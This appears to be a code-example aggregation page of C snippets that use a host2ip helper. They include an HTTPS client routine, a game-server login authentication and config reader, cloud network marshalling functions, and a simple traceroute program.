		entropyfree = 1;
		if((ctr_drbg_init(&ctr_drbg, entropy_func, &entropy, (const unsigned char *)USERAGENT, 6)) != 0) {
			logprintf(LOG_ERR, "ctr_drbg_init failed");
			*code = -1;
			goto exit;
		}

		if((ssl_init(&ssl)) != 0) {
			logprintf(LOG_ERR, "ssl_init failed");
			*code = -1;
			goto exit;
		}
		sslfree = 1;

		ssl_set_endpoint(&ssl, SSL_IS_CLIENT);
		ssl_set_rng(&ssl, ctr_drbg_random, &ctr_drbg);
		ssl_set_bio(&ssl, net_recv, &sockfd, net_send, &sockfd);

		int ret = 0;
		while((ret = ssl_handshake(&ssl)) != 0) {
			if(ret != POLARSSL_ERR_NET_WANT_READ && ret != POLARSSL_ERR_NET_WANT_WRITE) {
				logprintf(LOG_ERR, "ssl_handshake failed");
				*code = -1;
				goto exit;
			}
		}

		while((ret = ssl_write(&ssl, (const unsigned char *)header, len)) <= 0) {
			if(ret != POLARSSL_ERR_NET_WANT_READ && ret != POLARSSL_ERR_NET_WANT_WRITE) {
				if(ret == -76) {
					logprintf(LOG_ERR, "ssl_write timed out");
				} else {
					logprintf(LOG_ERR, "ssl_write failed");
				}
				*code = -1;
				goto exit;
			}
		}
	} else {
		if((bytes = send(sockfd, header, len, 0)) <= 0) {
			logprintf(LOG_ERR, "sending header to http server failed");
			*code = -1;
			goto exit;
		}
	}

	char *nl = NULL;
	char *tp = *type;
	memset(recvBuff, '\0', sizeof(recvBuff));

	while(1) {
		if(port == 443) {
			bytes = ssl_read(&ssl, (unsigned char *)recvBuff, BUFFER_SIZE);
			if(bytes == POLARSSL_ERR_NET_WANT_READ || bytes == POLARSSL_ERR_NET_WANT_WRITE) {
				continue;
			}
			if(bytes == POLARSSL_ERR_SSL_PEER_CLOSE_NOTIFY) {
				break;
			}
		} else {
			bytes = recv(sockfd, recvBuff, BUFFER_SIZE, 0);
		}

		if(bytes <= 0) {
			if(*size == 0) {
				logprintf(LOG_ERR, "http(s) read failed (%s)", url);
			}
			break;
		}

		if((content = REALLOC(content, (size_t)(*size+bytes+1))) == NULL) {
			fprintf(stderr, "out of memory\n");
			exit(EXIT_FAILURE);
		}

		memset(&content[*size], '\0', (size_t)(bytes+1));
		strncpy(&content[*size], recvBuff, (size_t)(bytes));
		*size += bytes;

		char **array = NULL;
		char *p = recvBuff;
		/* Let's first normalize the HEADER terminator */
		str_replace("\r\n", "\n\r", &p);
		unsigned int n = explode(recvBuff, "\n\r", &array), q = 0;
		int z = 0;
		for(q=0;q<n;q++) {
			if(has_code == 0 && sscanf(array[q], "HTTP/1.%d%*[ ]%d%*s%*[ \n\r]", &z, code)) {
				has_code = 1;
			}
			// ;%*[ A-Za-z0-9\\/=+- \n\r]
			if(has_type == 0 && sscanf(array[q], "Content-%*[tT]ype:%*[ ]%[A-Za-z\\/+-]", tp)) {
				has_type = 1;
			}
		}
		array_free(&array, n);
		memset(recvBuff, '\0', sizeof(recvBuff));
	}
	if(content != NULL) {
		/* Remove the header */
		if((nl = strstr(content, "\r\n\r\n"))) {
			pos = (nl-content)+4;
			memmove(&content[0], &content[pos], (size_t)(*size-pos));
			*size-=pos;
		}
		/* Remove the footer */
		if((nl = strstr(content, "0\r\n\r\n"))) {
			*size -= 5;
		}
	}

exit:
	if(port == 443) {
		if(sslfree == 1) {
			ssl_free(&ssl);
		}
		if(entropyfree == 1) {
			entropy_free(&entropy);
		}
	}
	if(header) FREE(header);
	if(auth) FREE(auth);
	if(auth64) FREE(auth64);
	if(page) FREE(page);
	if(host) FREE(host);
	if(sockfd > 0) {
		close(sockfd);
	}

	if(*size > 0) {
		content[*size] = '\0';
		return content;
	} else {
		return NULL;
	}
	return NULL;
}
Esempio n. 21
0
/**
 * Check/authentication of a connection.
 * @param sd: string (atm:md5key or dbpass)
 * @param isServer: string (atm:md5key or dbpass)
 * @return :
 *	-1: success
 *	0: unregistered id;
 *	1: incorrect pass;
 *	2: expired id
 *	3: blacklisted (or registration limit exceeded if new acc);
 *	5: invalid client_version|hash;
 *	6: banned
 *	x: acc state (TODO document me deeper)
 */
int login_mmo_auth(struct login_session_data* sd, bool isServer) {
	struct mmo_account acc;
	int len;

	char ip[16];
	ip2str(session[sd->fd]->client_addr, ip);

	// DNS Blacklist check
	if( login_config.use_dnsbl ) {
		char r_ip[16];
		char ip_dnsbl[256];
		char* dnsbl_serv;
		uint8* sin_addr = (uint8*)&session[sd->fd]->client_addr;

		sprintf(r_ip, "%u.%u.%u.%u", sin_addr[0], sin_addr[1], sin_addr[2], sin_addr[3]);

		for( dnsbl_serv = strtok(login_config.dnsbl_servs,","); dnsbl_serv != NULL; dnsbl_serv = strtok(NULL,",") ) {
			sprintf(ip_dnsbl, "%s.%s", r_ip, trim(dnsbl_serv));
			if( host2ip(ip_dnsbl) ) {
				ShowInfo("DNSBL: (%s) Blacklisted. User Kicked.\n", r_ip);
				return 3;
			}
		}

	}

	len = strnlen(sd->userid, NAME_LENGTH);

	// Account creation with _M/_F
	if( login_config.new_account_flag ) {
		if( len > 2 && strnlen(sd->passwd, NAME_LENGTH) > 0 && // valid user and password lengths
			sd->passwdenc == 0 && // unencoded password
			sd->userid[len-2] == '_' && memchr("FfMm", sd->userid[len-1], 4) ) // _M/_F suffix
		{
			int result;
			// remove the _M/_F suffix
			len -= 2;
			sd->userid[len] = '\0';

			result = login_mmo_auth_new(sd->userid, sd->passwd, TOUPPER(sd->userid[len+1]), ip);
			if( result != -1 )
				return result;// Failed to make account. [Skotlex].
		}
	}

	if( !accounts->load_str(accounts, &acc, sd->userid) ) {
		ShowNotice("Unknown account (account: %s, ip: %s)\n", sd->userid, ip);
		return 0; // 0 = Unregistered ID
	}

	if( !login_check_password(sd->md5key, sd->passwdenc, sd->passwd, acc.pass) ) {
		ShowNotice("Invalid password (account: '%s', ip: %s)\n", sd->userid, ip);
		return 1; // 1 = Incorrect Password
	}

	if( acc.expiration_time != 0 && acc.expiration_time < time(NULL) ) {
		ShowNotice("Connection refused (account: %s, expired ID, ip: %s)\n", sd->userid, ip);
		return 2; // 2 = This ID is expired
	}

	if( acc.unban_time != 0 && acc.unban_time > time(NULL) ) {
		char tmpstr[24];
		timestamp2string(tmpstr, sizeof(tmpstr), acc.unban_time, login_config.date_format);
		ShowNotice("Connection refused (account: %s, banned until %s, ip: %s)\n", sd->userid, tmpstr, ip);
		return 6; // 6 = Your are Prohibited to log in until %s
	}

	if( acc.state != 0 ) {
		ShowNotice("Connection refused (account: %s, state: %d, ip: %s)\n", sd->userid, acc.state, ip);
		return acc.state - 1;
	}

	if( login_config.client_hash_check && !isServer ) {
		struct client_hash_node *node = NULL;
		bool match = false;

		for( node = login_config.client_hash_nodes; node; node = node->next ) {
			if( acc.group_id < node->group_id )
				continue;
			if( *node->hash == '\0' // Allowed to login without hash
			 || (sd->has_client_hash && memcmp(node->hash, sd->client_hash, 16) == 0 ) // Correct hash
			) {
				match = true;
				break;
			}
		}

		if( !match ) {
			char smd5[33];
			int i;

			if( !sd->has_client_hash ) {
				ShowNotice("Client didn't send client hash (account: %s, ip: %s)\n", sd->userid, ip);
				return 5;
			}

			for( i = 0; i < 16; i++ )
				sprintf(&smd5[i * 2], "%02x", sd->client_hash[i]);

			ShowNotice("Invalid client hash (account: %s, sent md5: %s, ip: %s)\n", sd->userid, smd5, ip);
			return 5;
		}
	}

	ShowNotice("Authentication accepted (account: %s, id: %d, ip: %s)\n", sd->userid, acc.account_id, ip);

	// update session data
	sd->account_id = acc.account_id;
	sd->login_id1 = rnd() + 1;
	sd->login_id2 = rnd() + 1;
	safestrncpy(sd->lastlogin, acc.lastlogin, sizeof(sd->lastlogin));
	sd->sex = acc.sex;
	sd->group_id = acc.group_id;

	// update account data
	timestamp2string(acc.lastlogin, sizeof(acc.lastlogin), time(NULL), "%Y-%m-%d %H:%M:%S");
	safestrncpy(acc.last_ip, ip, sizeof(acc.last_ip));
	acc.unban_time = 0;
	acc.logincount++;

	accounts->save(accounts, &acc);

	if( sd->sex != 'S' && sd->account_id < START_ACCOUNT_NUM )
		ShowWarning("Account %s has account id %d! Account IDs must be over %d to work properly!\n", sd->userid, sd->account_id, START_ACCOUNT_NUM);

	return -1; // account OK
}
Esempio n. 22
0
adb_StartNetworkResponse_t *StartNetworkMarshal(adb_StartNetwork_t *startNetwork, const axutil_env_t *env) {  
  // output vars
  adb_StartNetworkResponse_t *ret=NULL;
  adb_startNetworkResponseType_t *snrt=NULL;

  //input vars
  adb_startNetworkType_t *snt=NULL;

  // working vars
  int rc, i;
  axis2_bool_t status=AXIS2_TRUE;
  char statusMessage[256];

  char *netName=NULL, **clusterControllers=NULL, *nameserver=NULL, *uuid=NULL, *accountId=NULL;
  
  int vlan, clusterControllersLen=0;
  ncMetadata ccMeta;
  
  snt = adb_StartNetwork_get_StartNetwork(startNetwork, env);
  EUCA_MESSAGE_UNMARSHAL(startNetworkType, snt, (&ccMeta));
  
  vlan = adb_startNetworkType_get_vlan(snt, env);
  netName = adb_startNetworkType_get_netName(snt, env);
  nameserver = adb_startNetworkType_get_nameserver(snt, env);
  uuid = adb_startNetworkType_get_uuid(snt, env);
  accountId = adb_startNetworkType_get_accountId(snt, env);
  if (!accountId) {
    accountId = ccMeta.userId;
  }

  clusterControllersLen = adb_startNetworkType_sizeof_clusterControllers(snt, env);
  clusterControllers = malloc(sizeof(char *) * clusterControllersLen);
  for (i=0; i<clusterControllersLen; i++) {
    clusterControllers[i] = host2ip(adb_startNetworkType_get_clusterControllers_at(snt, env, i));
  }
    
  snrt = adb_startNetworkResponseType_create(env);
  status = AXIS2_TRUE;
  if (!DONOTHING) {
    rc = doStartNetwork(&ccMeta, accountId, uuid, netName, vlan, nameserver, clusterControllers, clusterControllersLen);
    if (rc) {
      logprintf("ERROR: doStartNetwork() returned fail %d\n", rc);
      status = AXIS2_FALSE;
      snprintf(statusMessage, 255, "ERROR");
    }
  }

  for (i=0; i<clusterControllersLen; i++) {
    if (clusterControllers[i]) free(clusterControllers[i]);
  }
  if (clusterControllers) free(clusterControllers);
  
  adb_startNetworkResponseType_set_return(snrt, env, status);
  if (status == AXIS2_FALSE) {
    adb_startNetworkResponseType_set_statusMessage(snrt, env, statusMessage);
  }
  
  adb_startNetworkResponseType_set_correlationId(snrt, env, ccMeta.correlationId);
  adb_startNetworkResponseType_set_userId(snrt, env, ccMeta.userId);
  
  ret = adb_StartNetworkResponse_create(env);
  adb_StartNetworkResponse_set_StartNetworkResponse(ret, env, snrt);
  
  return(ret);
}
Esempio n. 23
0
adb_DescribeNetworksResponse_t *DescribeNetworksMarshal(adb_DescribeNetworks_t *describeNetworks, const axutil_env_t *env) {
  // output vars
  adb_DescribeNetworksResponse_t *ret=NULL;
  adb_describeNetworksResponseType_t *snrt=NULL;
  
  //input vars
  adb_describeNetworksType_t *snt=NULL;
  
  // working vars
  int rc, i, j;
  axis2_bool_t status=AXIS2_TRUE;
  char statusMessage[256];

  char **clusterControllers=NULL, *nameserver=NULL, *vnetSubnet=NULL, *vnetNetmask=NULL;
  int clusterControllersLen=0;
  ncMetadata ccMeta;
  vnetConfig *outvnetConfig=NULL;
  
  outvnetConfig = malloc(sizeof(vnetConfig));

  snt = adb_DescribeNetworks_get_DescribeNetworks(describeNetworks, env);
  EUCA_MESSAGE_UNMARSHAL(describeNetworksType, snt, (&ccMeta));
  
  nameserver = adb_describeNetworksType_get_nameserver(snt, env);
  
  clusterControllersLen = adb_describeNetworksType_sizeof_clusterControllers(snt, env);
  clusterControllers = malloc(sizeof(char *) * clusterControllersLen);
  for (i=0; i<clusterControllersLen; i++) {
    char *incc;
    incc = adb_describeNetworksType_get_clusterControllers_at(snt, env, i);
    clusterControllers[i] = host2ip(incc);
  }
  
  snrt = adb_describeNetworksResponseType_create(env);
  status = AXIS2_TRUE;
  if (!DONOTHING) {
    rc = doDescribeNetworks(&ccMeta, nameserver, clusterControllers, clusterControllersLen, outvnetConfig);
    if (rc) {
      logprintf("ERROR: doDescribeNetworks() returned fail %d\n", rc);
      status = AXIS2_FALSE;
      snprintf(statusMessage, 255, "ERROR");
    } else {
      
      if (!strcmp(outvnetConfig->mode, "MANAGED") || !strcmp(outvnetConfig->mode, "MANAGED-NOVLAN")) {
	adb_describeNetworksResponseType_set_useVlans(snrt, env, 1);
      } else {
	adb_describeNetworksResponseType_set_useVlans(snrt, env, 0);
      }
      adb_describeNetworksResponseType_set_mode(snrt, env, outvnetConfig->mode);	
      adb_describeNetworksResponseType_set_addrsPerNet(snrt, env, outvnetConfig->numaddrs);
      adb_describeNetworksResponseType_set_addrIndexMin(snrt, env, outvnetConfig->addrIndexMin);
      adb_describeNetworksResponseType_set_addrIndexMax(snrt, env, outvnetConfig->addrIndexMax);
      
      vnetSubnet = hex2dot(outvnetConfig->nw);
      if (vnetSubnet) {
	adb_describeNetworksResponseType_set_vnetSubnet(snrt, env, vnetSubnet);
	free(vnetSubnet);
      }

      vnetNetmask = hex2dot(outvnetConfig->nm);
      if (vnetNetmask) {
	adb_describeNetworksResponseType_set_vnetNetmask(snrt, env, vnetNetmask);
	free(vnetNetmask);
	}
      adb_describeNetworksResponseType_set_vlanMin(snrt, env, 2);
      adb_describeNetworksResponseType_set_vlanMax(snrt, env, outvnetConfig->max_vlan);
      
      for (i=2; i<NUMBER_OF_VLANS; i++) {
	if (outvnetConfig->networks[i].active) {
	  adb_networkType_t *nt=NULL;
	  nt = adb_networkType_create(env);
	  adb_networkType_set_uuid(nt, env, outvnetConfig->users[i].uuid);
	  adb_networkType_set_vlan(nt, env, i);
	  adb_networkType_set_netName(nt, env, outvnetConfig->users[i].netName);
	  adb_networkType_set_userName(nt, env, outvnetConfig->users[i].userName);
	  for (j=0; j<NUMBER_OF_HOSTS_PER_VLAN; j++) {
	    if (outvnetConfig->networks[i].addrs[j].active) {
	      adb_networkType_add_activeAddrs(nt, env, j);
	    }
	  }
	  adb_describeNetworksResponseType_add_activeNetworks(snrt, env, nt);
	}
      }
      
      status = AXIS2_TRUE;
    }
  }
  for (i=0; i<clusterControllersLen; i++) {
    if (clusterControllers[i]) free(clusterControllers[i]);
  }
  if (clusterControllers) free(clusterControllers);
  
  adb_describeNetworksResponseType_set_return(snrt, env, status);
  if (status == AXIS2_FALSE) {
    adb_describeNetworksResponseType_set_statusMessage(snrt, env, statusMessage);
  }
  
  adb_describeNetworksResponseType_set_correlationId(snrt, env, ccMeta.correlationId);
  adb_describeNetworksResponseType_set_userId(snrt, env, ccMeta.userId);
  
  ret = adb_DescribeNetworksResponse_create(env);
  adb_DescribeNetworksResponse_set_DescribeNetworksResponse(ret, env, snrt);
  
  if (outvnetConfig) free(outvnetConfig);
  return(ret);
}
Esempio n. 24
0
/**
 * Reading main configuration file.
 * @param cfgName: Name of the configuration (could be fullpath)
 * @param normal: Config read normally when server started
 * @return True:success, Fals:failure (file not found|readable)
 */
bool login_config_read(const char* cfgName, bool normal) {
	char line[1024], w1[32], w2[1024];
	FILE* fp = fopen(cfgName, "r");
	if (fp == NULL) {
		ShowError("Configuration file (%s) not found.\n", cfgName);
		return false;
	}
	while(fgets(line, sizeof(line), fp)) {
		if (line[0] == '/' && line[1] == '/')
			continue;

		if (sscanf(line, "%31[^:]: %1023[^\r\n]", w1, w2) < 2)
			continue;

		// Config that loaded only when server started, not by reloading config file
		if (normal) {
			if( !strcmpi(w1, "bind_ip") ) {
				login_config.login_ip = host2ip(w2);
				if( login_config.login_ip ) {
					char ip_str[16];
					ShowStatus("Login server binding IP address : %s -> %s\n", w2, ip2str(login_config.login_ip, ip_str));
				}
			}
			else if( !strcmpi(w1, "login_port") )
				login_config.login_port = (uint16)atoi(w2);
			else if(!strcmpi(w1, "console"))
				login_config.console = (bool)config_switch(w2);
		}

		if(!strcmpi(w1,"timestamp_format"))
			safestrncpy(timestamp_format, w2, 20);
		else if(strcmpi(w1,"db_path")==0)
			safestrncpy(db_path, w2, ARRAYLENGTH(db_path));
		else if(!strcmpi(w1,"stdout_with_ansisequence"))
			stdout_with_ansisequence = config_switch(w2);
		else if(!strcmpi(w1,"console_silent")) {
			msg_silent = atoi(w2);
			if( msg_silent ) /* only bother if we actually have this enabled */
				ShowInfo("Console Silent Setting: %d\n", atoi(w2));
		}
		else if (strcmpi(w1, "console_msg_log") == 0)
			console_msg_log = atoi(w2);
		else if  (strcmpi(w1, "console_log_filepath") == 0)
			safestrncpy(console_log_filepath, w2, sizeof(console_log_filepath));
		else if(!strcmpi(w1, "log_login"))
			login_config.log_login = (bool)config_switch(w2);
		else if(!strcmpi(w1, "new_account"))
			login_config.new_account_flag = (bool)config_switch(w2);
		else if(!strcmpi(w1, "new_acc_length_limit"))
			login_config.new_acc_length_limit = (bool)config_switch(w2);
		else if(!strcmpi(w1, "start_limited_time"))
			login_config.start_limited_time = atoi(w2);
		else if(!strcmpi(w1, "use_MD5_passwords"))
			login_config.use_md5_passwds = (bool)config_switch(w2);
		else if(!strcmpi(w1, "group_id_to_connect"))
			login_config.group_id_to_connect = atoi(w2);
		else if(!strcmpi(w1, "min_group_id_to_connect"))
			login_config.min_group_id_to_connect = atoi(w2);
		else if(!strcmpi(w1, "date_format"))
			safestrncpy(login_config.date_format, w2, sizeof(login_config.date_format));
		else if(!strcmpi(w1, "allowed_regs")) //account flood protection system
			login_config.allowed_regs = atoi(w2);
		else if(!strcmpi(w1, "time_allowed"))
			login_config.time_allowed = atoi(w2);
		else if(!strcmpi(w1, "use_dnsbl"))
			login_config.use_dnsbl = (bool)config_switch(w2);
		else if(!strcmpi(w1, "dnsbl_servers"))
			safestrncpy(login_config.dnsbl_servs, w2, sizeof(login_config.dnsbl_servs));
		else if(!strcmpi(w1, "ipban_cleanup_interval"))
			login_config.ipban_cleanup_interval = (unsigned int)atoi(w2);
		else if(!strcmpi(w1, "ip_sync_interval"))
			login_config.ip_sync_interval = (unsigned int)1000*60*atoi(w2); //w2 comes in minutes.
		else if(!strcmpi(w1, "client_hash_check"))
			login_config.client_hash_check = config_switch(w2);
		else if(!strcmpi(w1, "client_hash")) {
			int group = 0;
			char md5[33];

			if (sscanf(w2, "%3d, %32s", &group, md5) == 2) {
				struct client_hash_node *nnode;
				CREATE(nnode, struct client_hash_node, 1);
				if (strcmpi(md5, "disabled") == 0) {
					nnode->hash[0] = '\0';
				} else {
					int i;
					for (i = 0; i < 32; i += 2) {
						char buf[3];
						unsigned int byte;

						memcpy(buf, &md5[i], 2);
						buf[2] = 0;

						sscanf(buf, "%2x", &byte);
						nnode->hash[i / 2] = (uint8)(byte & 0xFF);
					}
				}
				nnode->group_id = group;
				nnode->next = login_config.client_hash_nodes;
				login_config.client_hash_nodes = nnode;
			}
		} else if(strcmpi(w1, "chars_per_account") == 0) { //maxchars per account [Sirius]
Esempio n. 25
0
int main(int argc, char const *argv[])
{
    char ip[100] = "";
    if( argc>1 )
    {
        strcpy(ip, host2ip(argv[1]));
        printf("Tracing route to: %s\n", ip);
    }
    else
    {
        printf("No IP given.\n");
        return -1;
        // strcpy(ip,"160.45.170.10"); // fu-berlin.de
        // strcpy(ip,"74.125.224.72"); // google.com
    }

    struct sockaddr_in my_addr;
    my_addr.sin_family = AF_INET;
    my_addr.sin_port = htons(PORT);
    my_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // localhost
    memset(my_addr.sin_zero, '\0', sizeof my_addr.sin_zero);

    struct sockaddr_in dest_addr;
    dest_addr.sin_family = AF_INET;
    dest_addr.sin_port = htons(PORT);
    dest_addr.sin_addr.s_addr = inet_addr(ip);
    memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);

    struct sockaddr_in cli_addr;
    socklen_t cli_len = sizeof(struct sockaddr_in);;

    int ttl = 1;
    clock_t c0 = clock();
    clock_t c1;
    while( ttl <= MAXHOPS )
    {
        int sender = socket(PF_INET, SOCK_DGRAM, 0);
        int recver = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
        int opt = setsockopt(sender, IPPROTO_IP, IP_TTL, &ttl, sizeof ttl);
        if( sender<0 || recver<0 || opt<0 )
        {
            perror("socket");
            return -2;
        }
        // printf("sockets set up\n");

        if( sendto(sender, buff, sizeof buff, 0, (struct sockaddr *)&dest_addr, sizeof dest_addr)<0 )
        {
            perror("sendto");
            return -3;
        }
        // printf("test package sent\n");

        if ( recvfrom(recver, buff, sizeof buff, 0, (struct sockaddr *)&cli_addr, &cli_len)<0 )
        {
            perror("recfrom");
            return -4;
        }
        else
        {
            // printf("received header\n");
            inet_ntop(AF_INET, &cli_addr.sin_addr, buff, INET_ADDRSTRLEN);
            c1 = clock();
            double dur = (c1 - c0) * 1000. / CLOCKS_PER_SEC;
            printf("%2d %18s\t %2.2f ms\n", ttl, buff, dur);
            if( !strncmp(buff, ip, sizeof ip) )
                break;
            ttl++;
        }
    }
}